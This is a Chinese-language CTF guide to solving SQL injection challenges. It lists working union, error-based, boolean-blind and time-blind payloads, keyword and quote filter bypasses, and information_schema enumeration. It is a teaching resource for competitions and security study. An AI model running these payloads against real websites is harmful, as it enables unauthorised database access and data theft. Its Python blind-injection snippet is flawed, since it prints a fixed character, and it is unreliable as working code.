【SQLI】CTF SQL注入解题步骤总结
CTF SQL注入解题步骤总结
- 1. 寻找注入点
- 2. 确定注入类型
- 3. 绕过过滤与防御
- 4. 信息收集
- 5. 提取Flag
- 6. 自动化工具辅助
- 常见陷阱与技巧
在CTF比赛中,SQL注入题的解题过程通常分为以下步骤,涵盖注入点识别、过滤绕过、数据提取等关键环节。以下为详细总结:
1. 寻找注入点
- 测试位置:URL参数、POST表单、HTTP头(如Cookie、User-Agent)。
- 触发异常:添加单引号
'
、双引号"
、反斜杠\
等,观察是否报错或页面变化。例如:?id=1' → 若页面返回数据库错误,可能存在注入。
- 布尔测试:构造永真/永假条件,如:
?id=1 AND 1=1 → 页面正常 ?id=1 AND 1=2 → 页面异常(空白或错误)
2. 确定注入类型
-
联合注入(Union-Based):
- 页面直接回显查询结果。
- 测试列数:
ORDER BY n
(递增n直至报错)。 - 联合查询:
UNION SELECT 1,2,3
,确定回显位置。
-
报错注入(Error-Based):
- 利用数据库函数(如
extractvalue
、updatexml
)触发错误回显数据:?id=1' AND extractvalue(1, concat(0x7e,(SELECT database()))--
- 利用数据库函数(如
-
布尔盲注(Boolean-Based):
- 页面无回显但存在真/假状态差异(如内容存在与否)。
- 通过条件语句逐字符猜解:
?id=1' AND (SELECT SUBSTR(database(),1,1)='a')--
-
时间盲注(Time-Based):
- 利用
sleep()
或条件延迟判断:?id=1' AND IF(SUBSTR(database(),1,1)='a', sleep(5), 0)--
- 利用
3. 绕过过滤与防御
-
空格绕过:使用
//
、%09
(Tab)、%0a
(换行)等。UNION//SELECT 1,2
-
关键字过滤:
- 大小写混合:
UnIoN SeLeCt
。 - 双写绕过:
UNIUNIONON SELESELECTCT
。 - 等价替换:
information_schema
被禁用时,使用mysql.innodb_table_stats
。
- 大小写混合:
-
引号绕过:
- 十六进制编码:
table_name = 0x7573657273
(即users
)。 - 使用
CHAR()
函数:CHAR(117,115,101,114)
→ ‘user’。
- 十六进制编码:
-
逗号绕过:
SUBSTR(str FROM 1 FOR 1)
代替SUBSTR(str,1,1)
。JOIN
代替UNION SELECT
:UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b
-
注释符绕过:闭合原语句而非注释:
?id=1' OR '1'='1' -- → 若注释符被过滤,闭合引号:?id=1' OR '1'='1
4. 信息收集
-
数据库类型:
- 报错信息:
MySQL
、PostgreSQL
、SQLite
等。 - 特有函数:
version()
、pg_sleep()
、sqlite_version()
。
- 报错信息:
-
获取元数据:
- 数据库名:
SELECT database()
。 - 表名:
SELECT table_name FROM information_schema.tables WHERE table_schema=database()
。 - 列名:
SELECT column_name FROM information_schema.columns WHERE table_name='flag'
。
- 数据库名:
5. 提取Flag
-
定位Flag表:
- 猜测表名:
flag
、h1dden_fl4g
、s3cret
等。 - 猜测列名:
flag
、value
、f1ag
。
- 猜测表名:
-
最终查询:
UNION SELECT 1,flag FROM flag_table
- 若结果限制,使用
LIMIT
或OFFSET
:UNION SELECT flag FROM flag_table LIMIT 1
- 若结果限制,使用
6. 自动化工具辅助
- SQLMap:自动化注入测试。
- 自定义脚本(Python):
import requests url = "http://ctf.com/?id=1" for i in range(1,50): payload = f"' AND (SELECT ASCII(SUBSTR(database(),{i},1))) > 100 -- " r = requests.get(url + payload) if "content_marker" in r.text: print(chr(100))
常见陷阱与技巧
- 二次注入:通过注册/登录功能插入恶意数据,后续触发。
- 堆叠注入:利用
;
执行多条语句(需后端支持)。 - 异或注入:
'^ (ascii(substr(...))==...)^'1'='1
。 - 非常规函数:如
MID()
、LIKE
、REGEXP
。 - 分析源码过滤机制:找到可用的绕过方式。
通过以上步骤,结合灵活的策略调整和绕过技巧,可系统化解决CTF中的SQL注入题目。关键是对过滤逻辑的快速分析及对数据库特性的深入理解。